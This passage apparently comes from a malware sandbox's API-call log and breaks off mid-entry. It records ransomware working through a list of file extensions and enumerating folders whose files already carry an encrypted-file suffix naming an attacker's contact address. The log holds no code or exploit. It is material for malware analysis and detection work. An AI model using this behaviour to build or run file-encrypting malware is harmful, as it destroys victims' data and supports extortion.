[0157.615] lstrlenW (lpString=".onetoc2") returned 8 [0157.615] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0157.615] lstrlenW (lpString=".opt") returned 4 [0157.615] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".oqy") returned 4 [0157.615] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".orf") returned 4 [0157.615] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".p12") returned 4 [0157.615] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".p7b") returned 4 [0157.616] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".p7c") returned 4 [0157.616] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pam") returned 4 [0157.616] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pbm") returned 4 [0157.616] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pct") returned 4 [0157.616] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pcx") returned 4 [0157.616] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pdd") returned 4 [0157.616] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pdf") returned 4 [0157.616] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pdp") returned 4 [0157.616] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pef") returned 4 [0157.616] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pem") returned 4 [0157.616] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pff") returned 4 [0157.616] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pfm") returned 4 [0157.616] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pfx") returned 4 [0157.616] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0157.616] lstrlenW (lpString=".pgm") returned 4 [0157.617] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0157.617] lstrlenW (lpString=".php") returned 4 [0157.617] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0157.617] lstrlenW (lpString=".php3") returned 5 [0157.617] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0157.617] lstrlenW (lpString=".php4") returned 5 [0157.617] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0157.617] lstrlenW (lpString=".php5") returned 5 [0157.617] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0157.617] lstrlenW (lpString=".phtml") returned 6 [0157.617] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0157.617] lstrlenW (lpString=".pict") returned 5 [0157.617] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0157.617] lstrlenW (lpString=".pl") returned 3 [0157.617] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0157.617] lstrlenW (lpString=".pls") returned 4 [0157.617] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0157.617] lstrlenW (lpString=".pm") returned 3 [0157.617] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0157.617] lstrlenW (lpString=".png") returned 4 [0157.617] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0157.617] lstrlenW (lpString=".pnm") returned 4 [0157.617] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0157.617] lstrlenW (lpString=".pot") returned 4 [0157.617] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0157.617] lstrlenW (lpString=".potm") returned 5 [0157.617] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0157.617] lstrlenW (lpString=".potx") returned 5 [0157.618] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0157.618] lstrlenW (lpString=".ppa") returned 4 [0157.618] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0157.618] lstrlenW (lpString=".ppam") returned 5 [0157.618] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0157.618] lstrlenW (lpString=".ppm") returned 4 [0157.618] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0157.618] lstrlenW (lpString=".pps") returned 4 [0157.618] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0157.618] lstrlenW (lpString=".ppsm") returned 5 [0157.618] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0157.618] lstrlenW (lpString=".ppt") returned 4 [0157.618] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0157.618] lstrlenW (lpString=".pptm") returned 5 [0157.618] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0157.618] lstrlenW (lpString=".pptx") returned 5 [0157.618] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0157.618] lstrlenW (lpString=".prn") returned 4 [0157.618] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0157.618] lstrlenW (lpString=".ps") returned 3 [0157.618] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0157.618] lstrlenW (lpString=".psb") returned 4 [0157.618] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0157.618] lstrlenW (lpString=".psd") returned 4 [0157.618] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0157.618] lstrlenW (lpString=".pst") returned 4 [0157.618] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0157.619] lstrlenW (lpString=".ptx") returned 4 [0157.619] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0157.619] lstrlenW (lpString=".pub") returned 4 [0157.619] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0157.619] lstrlenW (lpString=".pwm") returned 4 [0157.619] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0157.619] lstrlenW (lpString=".pxr") returned 4 [0157.619] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0157.619] lstrlenW (lpString=".py") returned 3 [0157.619] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0157.619] lstrlenW (lpString=".qt") returned 3 [0157.619] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0157.619] lstrlenW (lpString=".r3d") returned 4 [0157.619] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0157.619] lstrlenW (lpString=".raf") returned 4 [0157.619] lstrcmpiW (lpString1=".raf", lpString2="NEWS") returned -1 [0157.619] lstrlenW (lpString=".rar") returned 4 [0157.619] lstrcmpiW (lpString1=".rar", lpString2="NEWS") returned -1 [0157.619] lstrlenW (lpString=".raw") returned 4 [0157.619] lstrcmpiW (lpString1=".raw", lpString2="NEWS") returned -1 [0157.619] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3963c272, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3963c272, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3963c272, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.620] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.620] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.620] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.621] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0157.621] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.621] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484698 [0157.622] FindNextFileW (in: hFindFile=0x484698, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.622] FindNextFileW (in: hFindFile=0x484698, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396625d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396625d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396625d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.622] FindNextFileW (in: hFindFile=0x484698, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39688810, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39688810, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39688810, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.622] FindNextFileW (in: hFindFile=0x484698, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.623] FindNextFileW (in: hFindFile=0x484698, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.623] FindClose (in: hFindFile=0x484698 | out: hFindFile=0x484698) returned 1 [0157.624] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.624] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0157.624] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.624] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.625] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.625] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39688810, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39688810, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396faf02, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.625] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396faf02, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396faf02, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397211de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.625] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398eae39, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.625] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398eae39, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.626] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.626] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.626] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0157.627] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.627] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484558 [0157.628] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.628] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x397211de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x397211de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397211de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.628] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39747561, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39747561, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39747561, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.628] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398eae39, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398eae39, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39910f4c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.628] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398eae39, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398eae39, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39910f4c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.628] FindClose (in: hFindFile=0x484558 | out: hFindFile=0x484558) returned 1 [0157.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.629] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0157.629] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.629] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484558 [0157.630] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.631] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39cf15ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39cf15ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d16ffd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.631] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d66f93, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d66f93, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d66f93, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.631] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39910f4c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39910f4c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39daf888, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.631] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39910f4c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39910f4c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39daf888, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.631] FindClose (in: hFindFile=0x484558 | out: hFindFile=0x484558) returned 1 [0157.632] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.632] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, 